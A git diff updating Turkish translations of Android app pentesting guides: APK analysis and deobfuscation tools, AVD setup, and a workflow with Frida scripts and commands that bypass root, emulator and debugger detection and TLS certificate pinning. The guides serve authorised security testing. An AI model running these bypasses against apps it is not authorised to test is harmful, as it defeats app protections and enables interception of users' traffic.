+- Cihaz bilgisi - ve daha fazlası ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını güvenlik açıkları açısından analiz eder. Bunu APK'ları açarak ve bu güvenlik açıklarını tespit etmek için bir dizi kural uygulayarak yapar. +SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını vulnerabilities aramak için analiz eder. Bunu APK'leri açıp bir dizi kural uygulayarak gerçekleştirir. Tüm kurallar `rules.json` dosyasında toplanmıştır ve her şirket veya tester ihtiyaçlarına göre kendi kurallarını oluşturabilir. -En son ikili dosyaları [download page](https://superanalyzer.rocks/download.html) üzerinden indirin. +En son binaries'leri [download page](https://superanalyzer.rocks/download.html) üzerinden indirin. ``` super-analyzer {apk_file} ``` @@ -717,9 +714,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn, mobil uygulamalarda [static code analysis] yapan geliştiriciler ile bugbounty hunters ve ethical hackers için faydalı olan **çok platformlu** bir araçtır. +StaCoAn, mobil uygulamalar üzerinde [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) yapan geliştiriciler, bugbounty hunters ve ethical hackers için yardımcı olan **çok platformlu** bir araçtır. -Konsept, mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve uygulamanın sizin için görsel ve taşınabilir bir rapor oluşturmasıdır. Ayarları ve wordlists'i düzenleyerek özelleştirilmiş bir deneyim elde edebilirsiniz. +Konsept, mobil uygulama dosyanızı (.apk veya .ipa file) StaCoAn uygulamasına sürükleyip bırakmanız ve uygulamanın sizin için görsel ve taşınabilir bir rapor üretmesidir. Ayarları ve wordlists'i düzenleyerek özelleştirilmiş bir deneyim elde edebilirsiniz. İndir[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -727,7 +724,7 @@ Konsept, mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygulamas ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework, geliştiricilerin veya hackers'ın Android uygulamalarındaki potansiyel güvenlik açıklarını bulmasına yardımcı olan bir analiz sistemidir.\ +AndroBugs Framework, geliştiricilerin veya hackers'ın Android uygulamalarındaki potansiyel güvenlik açıklarını bulmalarına yardımcı olan bir Android zafiyet analiz sistemidir.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -735,11 +732,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** Android uygulamalarının oluşturabileceği potansiyel kötü amaçlı davranışları tespit edip kullanıcıyı uyarmayı amaçlayan bir araçtır. +**Androwarn** bir araçtır; temel amacı bir Android uygulaması tarafından geliştirilebilecek potansiyel kötü amaçlı davranışları tespit etmek ve kullanıcıyı uyarmaktır. -Tespit, uygulamanın Dalvik bytecode'unun **Smali** olarak temsil edildiği ve [`androguard`](https://github.com/androguard/androguard) kütüphanesi ile **static analysis** yapıldığı yöntemle gerçekleştirilir. +Tespit, uygulamanın Dalvik bytecode'unun **Smali** olarak temsil edilen kısmının **static analysis** ile [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılarak yapılır. -Bu araç şu tür **"kötü" uygulamaların ortak davranışları** arar: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Bu araç **"kötü" uygulamaların yaygın davranışlarını** arar, örneğin: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -747,70 +744,70 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Mobil uygulamaların OWASP mobile security tehditlerine karşı test edilmesine yardımcı olmak için yaygın kullanılan mobile application reverse engineering ve analysis araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve kullanıcı dostu hale getirmektir. +**MARA** bir **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework'tür. Mobil uygulamaları OWASP mobile security tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama reverse engineering ve analysis araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve kullanıcı dostu hale getirmektir. -It is able to: +Yapabildiği şeyler: -- Farklı araçlar kullanarak Java ve Smali kodu çıkarır -- APK'ları analiz eder using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- APK'den regexp'ler kullanarak özel bilgileri çıkarır -- Manifest'i analiz eder -- Bulunan domainleri analiz eder using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- APK'yı [apk-deguard.com](http://www.apk-deguard.com) üzerinden deobfuscate eder +- Farklı araçlar kullanarak Java ve Smali kodunu çıkarmak +- APK'leri analiz etmek için kullanır: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- APK'den regexp'ler kullanarak özel bilgileri çıkarmak. +- Manifest'i analiz etmek. +- Bulunan domainleri analiz etmek için kullanır: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb) +- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deobfuscate etmek ### Koodous -Malware tespiti için kullanışlı: [https://koodous.com/](https://koodous.com/) +Malware tespitinde faydalı: [https://koodous.com/](https://koodous.com) -## Obfuscating/Deobfuscating code +## Kodun Obfuskasyonu/Deobfuskasyonu -Kodu obfuscate etmek için kullandığınız servis ve yapılandırmaya bağlı olarak, gizli bilgiler obfuscated olabilir ya da olmayabilir. +Unutmayın ki kodu obfuscate etmek için kullandığınız servis ve yapılandırmaya bağlı olarak, secret'lar obfuscated olarak kalabilir veya kalmayabilir. ### [ProGuard]() -From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Bytecode'u optimize edebilir ve kullanılmayan talimatları tespit edip kaldırabilir. ProGuard ücretsiz bir yazılımdır ve GNU General Public License, version 2 altında dağıtılmaktadır. +From [Wikipedia](): **ProGuard** Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Hem bytecode'u optimize edebilir hem de kullanılmayan talimatları tespit edip kaldırabilir. ProGuard özgür yazılımdır ve GNU General Public License, version 2 altında dağıtılmaktadır. -ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama release modunda derlenirken çalışır. +ProGuard Android SDK'nin bir parçası olarak dağıtılır ve uygulama release modunda derlenirken çalışır. ### [DexGuard](https://www.guardsquare.com/dexguard) -DexGuard ile ilgili adım adım bir deobfuscation rehberini şu adreste bulabilirsiniz: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +APK'yi deobfuscate etmek için adım adım bir rehber bulabilirsiniz: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(O rehbere göre) Son kontrol ettiğimizde, Dexguard'in çalışma modu şu şekildeydi: +(o rehberden) Son kontrol ettiğimizde, Dexguard’ın çalışma modu şunlardı: -- bir kaynağı InputStream olarak yükle; -- sonucu decrypt etmek için FilterInputStream'ten türeyen bir sınıfa ver; -- reverser'ın birkaç dakikasını boşa harcamak için bazı anlamsız obfuskasyonlar yap; -- decrypted sonucu bir ZipInputStream'e vererek bir DEX dosyası elde et; -- sonunda oluşan DEX'i `loadDex` metodu kullanarak bir Resource olarak yükle. +- Bir kaynağı InputStream olarak yüklemek; +- Sonucu decrypt etmek için FilterInputStream'ten türeyen bir sınıfa beslemek; +- bir reverser'ın birkaç dakikasını boşa harcamak için bazı anlamsız obfuscation'lar yapmak; +- decrypt edilmiş sonucu bir ZipInputStream'e verip bir DEX dosyası elde etmek; +- son olarak oluşan DEX'i `loadDex` metodunu kullanarak bir Resource olarak yüklemek. ### [DeGuard](http://apk-deguard.com) -**DeGuard, Android obfuscation araçları tarafından uygulanan obfuskasyon sürecini tersine çevirir. Bu, kod incelemesi ve kütüphane tahmini dahil olmak üzere birçok güvenlik analizini mümkün kılar.** +**DeGuard, Android obfuscation araçları tarafından uygulanan obfuscation sürecini tersine çevirir. Bu, kod incelemesi ve kütüphane tahmini dahil olmak üzere birçok güvenlik analizine olanak tanır.** Obfuscated bir APK'yı platformlarına yükleyebilirsiniz. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve Android uygulama kodlarını deobfuscate etmek için bir LLM aracıdır. Google'ın Gemini public API'sini kullanır. +This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -Bu, generic bir android deobfuscator'dur. Simplify, bir uygulamayı virtually executes ederek davranışını anlar ve sonra kodu optimize etmeye çalışır; böylece davranış aynı kalır ama insan tarafından anlaşılması daha kolay olur. Her optimizasyon türü basit ve genel olduğundan, hangi spesifik obfuscation türünün kullanıldığı önemli değildir. +Bu, **generic android deobfuscator**'dır. Simplify **pratikte bir uygulamayı yürütür** (virtually executes an app) davranışını anlamak için ve ardından **kodu optimize etmeye çalışır** böylece kod insan tarafından anlaşılması daha kolay fakat davranışı aynı kalır. Her optimizasyon tipi basit ve generiktir, bu yüzden hangi spesifik obfuscation türünün kullanıldığı önemli değildir. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD size bir **APK'ın nasıl yapıldığı** hakkında bilgi verir. Birçok **compilers**, **packers**, **obfuscators** ve diğer tuhaf şeyleri tespit eder. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir. +APKiD size bir **APK'nin nasıl oluşturulduğu** hakkında bilgi verir. Birçok **compiler**, **packer**, **obfuscator** ve diğer tuhaf şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir. ### Manual -[Bu öğreticiyi okuyarak özelleştirilmiş obfuskasyonu tersine çevirme ile ilgili bazı püf noktalarını öğrenin](manual-deobfuscation.md) +[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b, ubuntu-mate tabanlı bir Android security virtual machine'dir; reverse engineering ve malware analysis için farklı güvenlik meraklıları ve araştırmacılardan gelen en güncel framework, eğitim ve lab koleksiyonlarını içerir. +AndroL4b, ubuntu-mate tabanlı bir Android security virtual machine'dir ve reverse engineering ve malware analysis için farklı güvenlik meraklıları ve araştırmacılardan en son framework'leri, eğitimleri ve laboratuvarları içerir. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 14a934021..17db73ddd 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -Bu sayfa, instrumentation tespit eden/root‑block yapan veya TLS pinning uygulayan Android uygulamalarına karşı dinamik analizi yeniden kazanmak için pratik bir iş akışı sağlar. Hızlı triyaj, yaygın tespitler ve mümkün olduğunda repacking gerektirmeden kopyala‑yapıştır yapılabilecek hooks/tactics ile bypass yöntemlerine odaklanır. +Bu sayfa, enstrümantasyonu tespit eden veya root‑ile engelleyen ve/veya TLS pinning uygulayan Android uygulamalarına karşı dinamik analiz yetkisini yeniden kazanmak için pratik bir iş akışı sağlar. Hızlı triyaj, yaygın tespitler ve mümkün olduğunda repacking yapmadan atlamak için kopyala‑yapıştır kullanılabilir hook/taktiklere odaklanır. ## Detection Surface (what apps check) -- Root kontrolleri: su binary, Magisk paths, getprop values, yaygın root paketleri -- Frida/debugger kontrolleri (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc tarama, classpath, yüklenmiş libs -- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks -- Early init kontrolleri: Application.onCreate() veya process start hook'ları; instrumentation varsa crash olur -- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins +- Root kontrolleri: su binary'si, Magisk yolları, getprop değerleri, yaygın root paketleri +- Frida/debugger kontrolleri (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc taraması, classpath, yüklenmiş kütüphaneler +- Native anti‑debug: ptrace(), syscall'lar, anti‑attach, breakpoint'ler, inline hook'lar +- Erken init kontrolleri: Application.onCreate() veya enstrümantasyon varsa çökertme yapan process başlangıç hook'ları +- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pin'ler ## Step 1 — Quick win: hide root with Magisk DenyList @@ -18,14 +18,14 @@ Bu sayfa, instrumentation tespit eden/root‑block yapan veya TLS pinning uygula - DenyList'i etkinleştir, hedef paketi ekle - Yeniden başlat ve tekrar test et -Birçok uygulama sadece bariz göstergelere bakar (su/Magisk paths/getprop). DenyList genellikle naif kontrolleri nötralize eder. +Birçok uygulama sadece bariz göstergelere (su/Magisk yolları/getprop) bakar. DenyList genellikle naif kontrolleri nötralize eder. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk ## Step 2 — 30‑second Frida Codeshare tests -Derinlemesine incelemeden önce yaygın drop‑in script'leri dene: +Derinlemesine incelemeye geçmeden önce yaygın drop‑in script'leri dene: - anti-root-bypass.js - anti-frida-detection.js @@ -35,11 +35,11 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -Genellikle Java root/debug kontrollerini, process/service taramalarını ve native ptrace() çağrılarını stub'lar. Az korumalı uygulamalarda kullanışlıdır; sertleştirilmiş hedefler için özelleştirilmiş hooks gerekebilir. +Bunlar tipik olarak Java root/debug kontrollerini, process/service taramalarını ve native ptrace()'ı stub'lar. Hafif korumalı uygulamalarda kullanışlıdır; sertleştirilmiş hedefler için özelleştirilmiş hook'lar gerekebilir. - Codeshare: https://codeshare.frida.re/ -## Medusa (Frida framework) ile Otomatikleştirme +## Medusa (Frida framework) ile otomatikleştirin Medusa, SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception ve daha fazlası için 90+ hazır modül sağlar. ```bash @@ -54,22 +54,22 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -İpucu: Medusa, custom hooks yazmadan önce hızlı kazanımlar için harikadır. Ayrıca modules seçip kendi scripts'lerinizle birleştirebilirsiniz. +İpucu: Medusa, custom hooks yazmadan önce hızlı kazanımlar için harikadır. Ayrıca modules'ı cherry‑pick yapıp kendi scripts'inizle birleştirebilirsiniz. -## Step 3 — Bypass init-time detectors by attaching late +## Adım 3 — init-time detectors'ı attaching late ile atlatın -Çoğu tespit yalnızca process spawn/onCreate() sırasında çalışır. Spawn‑time injection (-f) veya gadgets yakalanır; UI yüklendikten sonra attach etmek atlatmayı sağlayabilir. +Pek çok tespit sadece process spawn/onCreate() sırasında çalışır. Spawn‑time injection (-f) veya gadgets yakalanır; UI yüklendikten sonra attaching yapmak atlatmayı sağlayabilir. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -Eğer bu işe yararsa, oturumu kararlı tutun ve map ile stub kontrollerine devam edin. +Bu işe yararsa, oturumu kararlı tutun ve map ve stub kontrollerine geçin. -## Adım 4 — Jadx ile tespit mantığını eşleme ve dize araması +## Adım 4 — Jadx ve string hunting aracılığıyla tespit mantığını haritalayın -Jadx'te statik triaj anahtar kelimeleri: +Jadx'te statik triage anahtar kelimeleri: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" Tipik Java kalıpları: @@ -78,16 +78,16 @@ public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -İncelenecek/hooklanacak yaygın API'ler: +İncelenmesi/hook yapılması gereken yaygın API'ler: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices -- java.lang.System.loadLibrary / System.load (native bridge) -- java.lang.Runtime.exec / ProcessBuilder (probing commands) -- android.os.SystemProperties.get (root/emulator heuristics) +- java.lang.System.loadLibrary / System.load (native köprüsü) +- java.lang.Runtime.exec / ProcessBuilder (sorgulama komutları) +- android.os.SystemProperties.get (root/emülatör heuristikleri) -## Adım 5 — Runtime stubbing with Frida (Java) +## Adım 5 — Frida ile çalışma zamanı stub'lama (Java) -Custom guard'ları repacking yapmadan güvenli değerler döndürecek şekilde override edin: +Yeniden paketlemeye gerek kalmadan özel guard'ları güvenli değerler döndürecek şekilde geçersiz kılın: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -Erken çökme triage'ı mı? Uygulama ölmeden hemen önce dump classes alarak muhtemel detection namespaces'i tespit edin: +Erken çöküşleri triage mı ediyorsunuz? Çökmeden hemen önce sınıfları dump ederek olası detection namespace'lerini tespit edin: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); -Yürütme akışını doğrulamak için şüpheli metotları loglayın ve devre dışı bırakın: +Çalışma akışını doğrulamak için şüpheli metodları loglayın ve devre dışı bırakın: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -131,9 +131,9 @@ return false; ``` ## Bypass emulator/VM detection (Java stubs) -Yaygın heuristikler: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE içinde generic/goldfish/ranchu/sdk geçmesi; QEMU artifaktları gibi /dev/qemu_pipe, /dev/socket/qemud; varsayılan MAC 02:00:00:00:00:00; 10.0.2.x NAT; telefoni/sensörlerin eksik olması. +Yaygın sezgisel kurallar: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE alanlarının generic/goldfish/ranchu/sdk içermesi; QEMU artifaktları (ör. /dev/qemu_pipe, /dev/socket/qemud); varsayılan MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors eksikliği. -Build alanlarının hızlı taklidi: +Build alanlarının hızlı spoof'lanması: ```js Java.perform(function(){ var Build = Java.use('android.os.Build'); @@ -143,11 +143,11 @@ Build.BRAND.value = 'google'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; }); ``` -Dosya varlığı kontrolleri ve tanımlayıcılar (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) için gerçekçi değerler döndürecek stub'larla tamamlayın. +Dosya varlığı kontrolleri ve tanımlayıcılar için (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) gerçekçi değerler döndürecek stub'larla tamamlayın. ## SSL pinning bypass quick hook (Java) -Özel TrustManagers'ı nötralize edin ve izin veren SSL context'lerini zorlayın: +Özelleştirilmiş TrustManagers'ı etkisiz hale getirin ve permissive SSL context'leri zorlayın: ```js Java.perform(function(){ var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); @@ -166,16 +166,16 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }); ``` Notlar -- OkHttp için genişletin: gerektiğinde okhttp3.CertificatePinner ve HostnameVerifier'ı hook edin veya CodeShare'den universal unpinning script'i kullanın. -- Çalıştırma örneği: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` +- OkHttp için genişletin: gerektiğinde hook okhttp3.CertificatePinner ve HostnameVerifier kullanın veya CodeShare'dan universal unpinning script kullanın. +- Örnek çalıştırma: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## Step 6 — Java hook'ları başarısız olduğunda JNI/native izini takip edin +## Adım 6 — Java hooks başarısız olduğunda JNI/native izini takip edin -JNI giriş noktalarını native loader'ları ve detection init'i bulmak için izleyin: +Native loader'ları ve detection init'i bulmak için JNI giriş noktalarını izleyin: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -Paketlenmiş .so dosyalarının hızlı yerel ön değerlendirmesi: +Paketlenmiş .so dosyaları için hızlı native triage: ```bash # List exported symbols & JNI nm -D libfoo.so | head @@ -186,7 +186,7 @@ Etkileşimli/native reversing: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -Örnek: libc içindeki basit anti‑debug'i yenmek için ptrace'i devre dışı bırakma: +Örnek: libc içindeki basit anti‑debug'i atlatmak için ptrace'i etkisizleştirme: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -202,20 +202,20 @@ reversing-native-libraries.md ## Adım 7 — Objection patching (embed gadget / strip basics) -Repacking'i runtime hooks yerine tercih ediyorsanız, şunu deneyin: +repacking'i runtime hooks yerine tercih ediyorsanız, deneyin: ```bash objection patchapk --source app.apk ``` Notlar: -- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install -- Gadget injection, root olmadan instrumentation sağlar ama daha güçlü init‑time kontrolleri tarafından yine de tespit edilebilir. +- apktool gerektirir; derleme sorunlarını önlemek için resmi kılavuzdan güncel bir sürüm kullandığınızdan emin olun: https://apktool.org/docs/install +- Gadget injection root olmadan instrumentation sağlar ancak yine de daha güçlü init‑time kontrolleri tarafından tespit edilebilir. -İsteğe bağlı olarak, Zygisk ortamlarında daha güçlü root gizleme için LSPosed modülleri ve Shamiko ekleyin ve alt süreçleri kapsayacak şekilde DenyList'i düzenleyin. +İsteğe bağlı olarak, Zygisk ortamlarında daha güçlü root gizleme için LSPosed modüllerini ve Shamiko'yu ekleyin ve DenyList'i alt süreçleri kapsayacak şekilde düzenleyin. Referanslar: - Objection: https://github.com/sensepost/objection -## Step 8 — Fallback: Patch TLS pinning for network visibility +## Adım 8 — Yedek: Ağ görünürlüğü için TLS pinning'i yama Eğer instrumentation engellenmişse, pinning'i statik olarak kaldırarak trafiği yine de inceleyebilirsiniz: ```bash @@ -223,7 +223,7 @@ apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - Araç: https://github.com/shroudedcode/apk-mitm -- Ağ yapılandırması CA‑trust tricks (ve Android 7+ user CA trust) için bakınız: +- Ağ yapılandırması CA‑trust hileleri için (ve Android 7+ kullanıcı CA trust), bkz: {{#ref}} make-apk-accept-ca-certificate.md @@ -233,7 +233,7 @@ make-apk-accept-ca-certificate.md install-burp-certificate.md {{#endref}} -## Kullanışlı komut hızlı başvuru +## Kullanışlı komut kısayolu ```bash # List processes and attach frida-ps -Uai @@ -253,10 +253,10 @@ apk-mitm app.apk ``` ## İpuçları ve uyarılar -- Uygulamalar launch sırasında çöküyorsa spawn yapmak yerine geç attach etmeyi tercih edin -- Bazı detections kritik flows'ta (ör. payment, auth) yeniden çalıştırılır — navigation sırasında hooks'ları aktif tutun -- Static ve dynamic'i karıştırın: Jadx'te string hunt yaparak sınıfları kısa listeleyin; sonra runtime'da doğrulamak için hook methods kullanın -- Hardened uygulamalar packers ve native TLS pinning kullanabilir — reverse native code yapmanız gerekebilir +- Uygulamalar başlatılırken çöküyorsa spawn etmeye kıyasla attaching'i daha geç yapmayı tercih edin +- Bazı tespitler kritik akışlarda (ör. ödeme, auth) yeniden çalıştırılır — gezinti sırasında hooks'u aktif tutun +- Statik ve dinamiği karıştırın: sınıfları daraltmak için Jadx'te string hunt yapın; sonra runtime'da doğrulamak için method'ları hook'layın +- Korumalı uygulamalar packers ve native TLS pinning kullanabilir — native kodu tersine çevirmeyi bekleyin ## References diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 722389954..66cfec02a 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -1,24 +1,24 @@ -# AVD - Android Sanal Cihaz +# AVD - Android Virtual Device {{#include ../../banners/hacktricks-training.md}} -Bu içeriği oluştururken yardım ettiği için [**@offsecjay**](https://twitter.com/offsecjay)'a çok teşekkürler. +Thank you very much to [**@offsecjay**](https://twitter.com/offsecjay) for his help while creating this content. -## Nedir +## What is -Android Studio, **APK'leri test etmek için kullanabileceğiniz Android sanal makinelerini çalıştırmanıza olanak tanır**. Bunları kullanmak için şunlara ihtiyacınız olacak: +Android Studio allows to **run virtual machines of Android that you can use to test APKs**. In order to use them you will need: -- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). +- **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). +- Veya **Android Studio** (Android SDK tools ile) - [Download here](https://developer.android.com/studio). -Windows'ta (benim durumumda) **Android Studio'yu kurduktan sonra** **SDK Tools'un kurulu olduğu yer**: `C:\Users\\AppData\Local\Android\Sdk\tools` +Windows'ta (benim durumumda) **Android Studio'yu kurduktan sonra** SDK Tools'ın şu konumda yüklü olduğunu gördüm: `C:\Users\\AppData\Local\Android\Sdk\tools` -mac üzerinde **SDK tools'u indirebilir** ve PATH'e eklemek için şu komutu çalıştırabilirsiniz: +Mac'te **SDK tools'u** indirip PATH'e eklemek için şu komutu çalıştırabilirsiniz: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -Veya **Android Studio GUI** üzerinden, [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) adresinde belirtildiği gibi; bu, bunları `~/Library/Android/sdk/cmdline-tools/latest/bin/` ve `~/Library/Android/sdk/platform-tools/` ve `~/Library/Android/sdk/emulator/` konumlarına kuracaktır +Veya **Android Studio GUI** üzerinden, [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) adresinde belirtildiği gibi, bunları `~/Library/Android/sdk/cmdline-tools/latest/bin/` ve `~/Library/Android/sdk/platform-tools/` ve `~/Library/Android/sdk/emulator/` dizinlerine kuracaktır Java sorunları için: ```java @@ -26,9 +26,9 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ``` ## GUI -### Sanal Makineyi Hazırlama +### Prepare Virtual Machine -Android Studio'yu yüklediyseniz, ana proje görünümünü açıp şuradan erişebilirsiniz: _**Tools**_ --> _**AVD Manager.**_ +If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
@@ -36,36 +36,36 @@ Android Studio'yu yüklediyseniz, ana proje görünümünü açıp şuradan eri
-Sonra _**Create Virtual Device**_ öğesine tıklayın +Then, click on _**Create Virtual Device**_
-_Kullanmak istediğiniz telefonu **seçin**_ ve _**Next.**_ öğesine tıklayın. +kullanmak istediğiniz telefonu _**seçin**_ ve _**Next.**_'e tıklayın. > [!WARNING] -> Eğer Play Store yüklü bir telefona ihtiyacınız varsa Play Store simgesine sahip olanı seçin! +> If you need a phone with Play Store installed select one with the Play Store icon on it! > > -Bu görünümde telefonun çalıştıracağı **Android image**'i seçip indirebileceksiniz: +Bu görünümde telefonun çalıştıracağı **Android imajını seçip indirebileceksiniz**:
-Dolayısıyla onu seçin; eğer indirilmemişse isimlerin yanındaki _**Download**_ simgesine tıklayın (**görüntü indirilene kadar bekleyin**).\ +O yüzden seçin ve indirilmemişse adın yanında bulunan _**Download**_ simgesine tıklayın (**görüntü indirilene kadar bekleyin**).\ Görüntü indirildikten sonra sadece **`Next`** ve **`Finish`**'i seçin. -Sanal makine oluşturulacak. Artık **AVD Manager'a eriştiğinizde her zaman burada görünecek**. +Sanal makine oluşturulacak. Artık **AVD manager'ı her açtığınızda burada olacaktır**. -### Sanal Makineyi Çalıştırma +### Run Virtual Machine -Çalıştırmak için sadece _**Start button**_'a basın. +Çalıştırmak için sadece _**Start button**_ tuşuna basın. ![](<../../images/image (518).png>) -## Komut Satırı Aracı +## Command Line tool > [!WARNING] -> macOS için `avdmanager` aracını `/Users//Library/Android/sdk/tools/bin/avdmanager` ve `emulator`'ü `/Users//Library/Android/sdk/emulator/emulator` içinde bulabilirsiniz, eğer bunlar yüklüyse. +> For macOS you can find the `avdmanager` tool in `/Users//Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users//Library/Android/sdk/emulator/emulator` if you have them installed. Öncelikle **hangi telefonu kullanmak istediğinize karar vermeniz** gerekiyor; kullanılabilir telefonların listesini görmek için şu komutu 